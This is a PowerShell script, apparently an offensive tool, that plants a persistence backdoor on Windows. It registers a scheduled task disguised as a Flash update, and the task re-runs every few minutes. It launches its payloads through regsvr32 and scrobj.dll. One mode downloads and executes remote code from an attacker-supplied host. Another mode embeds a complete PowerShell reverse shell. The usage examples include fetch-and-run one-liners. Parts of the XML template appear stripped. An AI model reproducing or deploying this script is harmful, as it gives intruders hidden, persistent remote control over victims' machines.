function Invoke-Tasksbackdoor { <# .SYNOPSIS Author: xiaocheng 小城 mail:passthru.bug@gmail.com .DESCRIPTION the Script Suitable for windows7 or above schtasks backdoor Default interval of 20 minutes .EXAMPLE PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -payload 'whoami >C:\test.txt' .EXAMPLE PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -payload 'whoami >C:\test.txt' -time 12 .EXAMPLE PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -method msf -ip 127.0.0.1 -port 443 -time 12 .EXAMPLE PS C:\Users\test\Desktop> Invoke-Tasksbackdoor -method nccat -ip 127.0.0.1 -port 443 -time 12 .EXAMPLE C:\Users\test\Desktop>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip 8.8.8.8 -port 9999 -time 2" .EXAMPLE C:\Users\test\Desktop> powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method msf -ip 8.8.8.8 -port 8081 -time 2" #> [CmdletBinding()] Param ( [Parameter(Position = 0, Mandatory = $False)] [String] $Payload, [Parameter(Position = 1, Mandatory = $False)] [ValidateSet("cmd","nccat","msf")] [String] $method = "cmd", [Parameter(Position=2, Mandatory=$false)] [string] $Ip, [Parameter(Position=3, Mandatory=$false)] [int] $Port, [Parameter(Position=4, Mandatory=$false)] [int] $Time ) $Domain = $env:USERDOMAIN $Username = $env:USERNAME $Mia=(get-date).addminutes(2).GetDateTimeFormats('s') $Miao=(get-date).addminutes(3).GetDateTimeFormats('s') echo $Mia if($Time -eq "") {$Time=20} else{} function Local:Schtasks-exec($cmd, $cmdlines) { $WscriptManifest = @" $Miao $Username $("PT"+"$time"+"M") false $Mia true $Domain\$Username InteractiveToken LeastPrivilege IgnoreNew true true true false false true false true true false false false P3D 7 $Cmd $Cmdlines "@ #echo $WscriptManifest $sManifest = $env:Temp + "\wscript2.xml" $WscriptManifest | Out-File $sManifest -Encoding Unicode $temppath=$sManifest -replace '[\\]','\\' $CreateWrapperADS = {cmd /C "schtasks /create /xml $temppath /tn falshupdate22"} Invoke-Command -ScriptBlock $CreateWrapperADS | out-null Start-Sleep -Seconds 5 Remove-Item $sManifest } function Local:Create-Regscript { $utfbytes = [System.Text.Encoding]::Unicode.GetBytes($MSFscript) $base64string = [System.Convert]::ToBase64String($utfbytes) $Tempfile = @" "@ #echo $Tempfile $MSFsManifest = $env:Temp + "\scripttemp.tks" Remove-Item $MSFsManifest #echo $MSFsManifest $Tempfile | Out-File $MSFsManifest -Encoding Unicode $Cmd="regsvr32.exe" $Cmdlines=("/u /s /i:"+"""$MSFsManifest"""+" scrobj.dll") #echo $cmd #echo $cmdlines Schtasks-exec $cmd $Cmdlines } switch($method) { "msf" { $MSFscript = @" `$n=new-object net.webclient;`$n.proxy=[Net.WebRequest]::GetSystemWebProxy();`$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX `$n.downloadstring('http://$("$Ip"+":"+"$Port")/'); "@ Create-Regscript #Schtasks-exec $cmd $Cmdlines } "cmd" { $Cmd="powershell.exe" $Cmdlines=("-WindowStyle Hidden -nop -c "+"""$Payload"""+"") Schtasks-exec $cmd $Cmdlines } "nccat" { $MSFscript = @" `$client = New-Object System.Net.Sockets.TCPClient("$Ip",$Port);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..255|%{0};`$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + `$env:username + "`n");`$stream.Write(`$sendbytes,0,`$sendbytes.Length);while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + "PS " + (pwd).Path + "> ";`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close() "@ #echo $MSFscript. Create-Regscript } } }